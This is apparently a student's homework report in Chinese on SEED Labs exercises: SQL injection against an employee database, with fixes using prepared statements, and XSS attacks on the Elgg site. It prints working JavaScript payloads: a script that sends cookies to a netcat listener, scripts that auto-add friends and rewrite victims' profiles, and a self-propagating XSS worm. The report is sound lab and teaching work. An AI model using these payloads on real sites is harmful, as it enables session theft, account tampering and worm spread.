20252902 2025-2026-2《网络攻防实践》第10周作业

1. 实验内容

一、SEED SQL注入攻击与防御实验

本实验基于SEED Labs提供的SQL注入实验环境,主要围绕一个存在SQL注入漏洞的Web应用程序展开。该Web应用是一个员工管理系统,用户可以通过登录系统查看和修改个人信息。系统中存在管理员和普通员工两类角色,管理员能够查看和管理所有员工信息,普通员工只能查看和修改自己的个人资料。

本部分实验主要完成以下任务:

  1. 熟悉MySQL数据库的基本操作,查看Users数据库和credential数据表中的相关信息。
  2. 对SELECT语句进行SQL注入攻击,在不知道密码的情况下绕过登录验证。
  3. 对UPDATE语句进行SQL注入攻击,通过修改个人资料页面改变数据库中的指定字段。
  4. 分析SQL注入漏洞产生的原因,并通过参数化查询等方式修复漏洞。

二、SEED XSS跨站脚本攻击实验

本实验基于SEED Labs提供的Elgg Web应用环境,主要学习XSS跨站脚本攻击的基本原理和危害。通过在用户资料页面中插入JavaScript代码,观察恶意脚本在其他用户访问页面时的执行效果,并进一步完成cookie弹窗、cookie窃取、自动添加好友、修改用户资料、XSS蠕虫传播以及XSS防御等任务。

本部分实验主要完成以下任务:

  1. 在Elgg用户资料页面中嵌入JavaScript代码,实现弹窗效果。
  2. 通过脚本读取并显示用户cookie信息。
  3. 利用脚本将受害者cookie发送到攻击者监听端口。
  4. 分析Elgg添加好友请求过程,并构造脚本自动添加好友。
  5. 构造脚本在用户无感知的情况下修改其个人资料。
  6. 编写具有自传播能力的XSS蠕虫。
  7. 启用安全插件或过滤机制,完成XSS攻击防御。

2. 实验过程

2.1 实验环境准备

首先打开SEED Project官网,下载实验所需的虚拟机镜像,并将其导入VMware虚拟机环境中。虚拟机启动后,检查网络连接、浏览器访问以及终端基本命令是否正常。


2.2 SEED SQL注入攻击与防御实验

2.2.1 熟悉SQL语句

打开终端,使用MySQL命令登录数据库。登录成功后,切换到Users数据库,并查看其中的数据表。

mysql -u root -p

输入以下命令切换数据库:

use Users;

查看当前数据库中的数据表:

show tables;

查询credential表中的所有数据:

select * from credential;

查询指定用户的信息,例如查询Alice用户:

select * from credential where Name='Alice';

通过以上操作,我熟悉了实验中使用的数据库结构,了解了credential表中保存了用户的姓名、密码、薪资、邮箱、地址等关键信息。


2.2.2 对SELECT语句的SQL注入攻击

打开浏览器,访问SQL注入实验网站:

http://www.seedlabsqlinjection.com/

首先随意输入用户名和密码进行登录测试,发现普通错误输入无法登录系统。

打开浏览器开发者工具,查看登录请求的提交方式和目标文件,发现登录请求会提交到相关PHP文件进行验证。

进入Web应用源码目录,查看登录验证相关PHP文件,分析其SQL语句拼接方式。通过观察代码可以发现,程序将用户输入直接拼接进SQL语句中,没有进行有效过滤或参数化处理,因此存在SQL注入漏洞。

在用户名输入框中构造SQL注入语句,利用注释符截断后续密码判断逻辑,从而绕过登录验证。

点击登录后,发现系统成功进入用户页面,说明SELECT语句SQL注入攻击成功。

实验结果表明,如果Web应用直接拼接用户输入构造SQL语句,攻击者可以通过构造特殊输入改变原本的SQL执行逻辑,从而绕过身份验证。

2.2.3 对UPDATE语句的SQL注入攻击

登录普通用户账号后,进入个人资料编辑页面,观察页面提交请求的目标文件。

通过查看浏览器请求或源码文件,找到负责更新用户资料的PHP文件。

分析源码可以发现,程序在更新用户资料时同样将用户输入直接拼接到UPDATE语句中,因此UPDATE语句也存在SQL注入漏洞。

登录指定用户后,先查看当前用户的原始信息,例如Salary字段的初始值。

在个人资料编辑页面的输入框中构造UPDATE注入内容,使原本只更新当前用户资料的语句额外修改目标字段。实验中将指定字段修改为与本人学号相关的值,用于验证UPDATE语句注入是否生效。

示例思路:在可控输入中闭合原字段赋值,再追加目标字段赋值和注释符,改变原UPDATE语句的执行逻辑。

保存资料后,返回用户主页查看结果,发现目标字段已经被成功修改为预期内容。

本实验说明,SQL注入不仅可以绕过登录验证,还可能进一步影响数据库中的已有数据,造成数据被篡改、泄露甚至破坏。

2.2.4 SQL注入漏洞修复

SQL注入漏洞产生的根本原因是程序直接拼接用户输入构造SQL语句。为了防止攻击者通过特殊字符改变SQL语义,应使用参数化查询或预编译语句对SQL语句进行修复。

首先对登录验证相关代码进行修改,将原本的字符串拼接SQL语句改为参数化查询,使用户名和密码只作为参数参与匹配,不能再改变SQL语句结构。

// 原来的代码:直接拼接用户输入,存在SQL注入风险
$sql = "SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= '$input_uname' and Password='$hashed_pwd';";

// 修改后的代码:使用预编译语句和参数绑定
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password FROM credential WHERE name = ? and Password = ?;");
$sql->bind_param("ss", $input_uname, $hashed_pwd);

对于资料更新页面,也应采用同样的处理方式,将UPDATE语句中的昵称、邮箱、地址、电话等字段全部改为参数绑定,避免用户输入直接参与SQL语句拼接。

2.3 SEED XSS跨站脚本攻击实验

2.3.1 发布恶意消息,显示警报窗口

打开浏览器,访问Elgg实验网站:

http://www.xsslabelgg.com/
<script>
    alert("20252902 lujinyu");
</script>


2.3.2 弹窗显示cookie信息

继续编辑用户资料,将弹窗内容修改为显示当前页面的cookie信息。

<script> alert(document.cookie);</script>


在攻击者终端中开启监听端口,用于接收受害者访问恶意页面时发送过来的cookie信息。

nc -l 5555 -v

随后在用户资料页面中插入用于发送cookie信息的脚本。

<script>
    document.write('<img src="http://127.0.0.1:5555?c=' + escape(document.cookie) + '">');
</script>

2.3.4 自动添加好友

通过开发者工具观察Elgg添加好友请求,发现请求中需要包含目标用户ID、时间戳和安全令牌。随后构造脚本,在受害者访问页面时自动向添加好友接口发送请求。

<script type="text/javascript"> window.onload = function () {
    var Ajax=null;
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="&__elgg_token="+elgg.security.token.__elgg_token;
    var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=45" + ts + token;
    Ajax=new XMLHttpRequest();
    Ajax.open("GET",sendurl,true);
    Ajax.setRequestHeader("Host","www.xsslabelgg.com");
    Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
    Ajax.send();
}</script>


2.3.5 修改受害者的信息

继续分析Elgg修改个人资料时的请求过程,查看提交的URL和表单参数。

在攻击者个人资料页面中插入构造好的JavaScript脚本,使受害者访问攻击者主页后,其个人资料被自动修改。

<script type="text/javascript">window.onload = function(){
  //JavaScript code to access user name, user guid, Time Stamp __elgg_ts
  //and Security Token __elgg_token
    var userName=elgg.session.user.name;
    var guid="&guid="+elgg.session.user.guid;
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="&__elgg_token="+elgg.security.token.__elgg_token;
    var content=token+ts+"name="+userName+"&description=<p>This profile has been modified by 20252902.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;  
    var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
    var aliceGuid=45;    
    if(elgg.session.user.guid!=aliceGuid){
       //Create and send Ajax request to modify profile
       var Ajax=null;
       Ajax=new XMLHttpRequest();
       Ajax.open("POST",sendurl,true);
        Ajax.setRequestHeader("Host","www.xsslabelgg.com");
        Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    Ajax.send(content);
  }
}</script>


2.3.6 编写XSS蠕虫

在前面实验的基础上,继续构造具有自传播能力的XSS蠕虫。蠕虫的核心思想是:当受害者访问已感染用户主页时,恶意脚本会自动复制自身并写入受害者的个人资料页面,从而使受害者也成为新的感染源。

在攻击者个人资料页面中插入自传播脚本。

<script id="worm" type="text/javascript">
    window.onload = function(){
        var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
        var jsCode = document.getElementById("worm").innerHTML;
        var tailTag = "</" + "script>";
        var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
        var content= token + ts + "&name=" + userName + "&description=<p>You have already been attacked by 20252902 again"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        var samyGuid=44;
        if(elgg.session.user.guid!=samyGuid){
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
    }
</script>

2.3.7 对抗XSS攻击

登录管理员账号,进入Elgg后台管理页面。

进入Administration管理界面,找到Plugins插件管理页面。

找到HTMLawed等安全过滤插件,并将其启用。

启用插件后,再次尝试执行前面的XSS攻击,例如访问包含恶意脚本的用户主页。此时脚本无法正常执行,用户资料也不会被自动修改。

实验结果说明,通过对用户输入内容进行过滤和净化,可以有效降低XSS攻击风险。


3. 学习中遇到的问题及解决

问题一:虚拟机环境配置较为复杂

在实验开始阶段,虚拟机导入和启动过程花费了一定时间。部分情况下可能会出现网络无法访问、浏览器无法打开实验网站、复制粘贴不方便等问题。

解决方法:
我重新检查了虚拟机网络连接方式,确认实验环境中的Web服务正常运行。同时根据实际情况安装或配置VMware Tools,提高虚拟机和宿主机之间复制粘贴、文件传输的便利性。

问题二:SQL注入语句容易因符号错误导致失败

在进行SQL注入实验时,单引号、注释符、空格等细节都会影响注入语句是否成功。如果输入格式错误,就无法达到预期效果。

解决方法:
我通过查看源码中的SQL语句结构,分析用户输入被拼接到SQL语句中的具体位置,再根据语句结构调整注入内容,最终完成了登录绕过和字段修改实验。

问题三:XSS脚本执行受输入位置和过滤机制影响

在XSS实验中,不同输入框对HTML和JavaScript代码的处理方式不同。如果没有切换到HTML编辑模式,或者输入位置不正确,脚本可能无法执行。

解决方法:
我通过反复测试Brief description和About me等位置,并使用浏览器开发者工具观察页面源码,确认脚本是否被正确插入并执行。


4. 学习感想和体会

通过本次实验,我对Web安全中的SQL注入和XSS跨站脚本攻击有了更加直观的认识。SQL注入实验让我认识到,直接拼接用户输入构造SQL语句是非常危险的,攻击者可以利用特殊字符改变原有查询逻辑,实现绕过登录、修改数据等操作。因此,在实际开发中应尽量使用参数化查询或预编译语句,避免将用户输入直接拼接进SQL语句中。

XSS实验则让我理解了“永远不要信任用户输入”这句话的重要性。从最简单的弹窗,到读取cookie、自动添加好友、修改用户资料,再到编写具有传播能力的XSS蠕虫,我逐步认识到XSS漏洞不仅会影响单个用户,还可能在多个用户之间扩散,造成更大范围的安全影响。

本次实验也让我意识到,Web安全防护需要从输入过滤、输出编码、权限控制、会话保护等多个方面综合考虑。作为学习者,不仅要理解攻击过程,更要掌握漏洞产生原因和对应防御方法。通过这次实验,我对Web应用安全攻防流程有了更深入的理解,也提高了自己分析问题和解决问题的能力。

posted @ 2026-06-02 20:03  lujinyu  阅读(21)  评论(0)    收藏  举报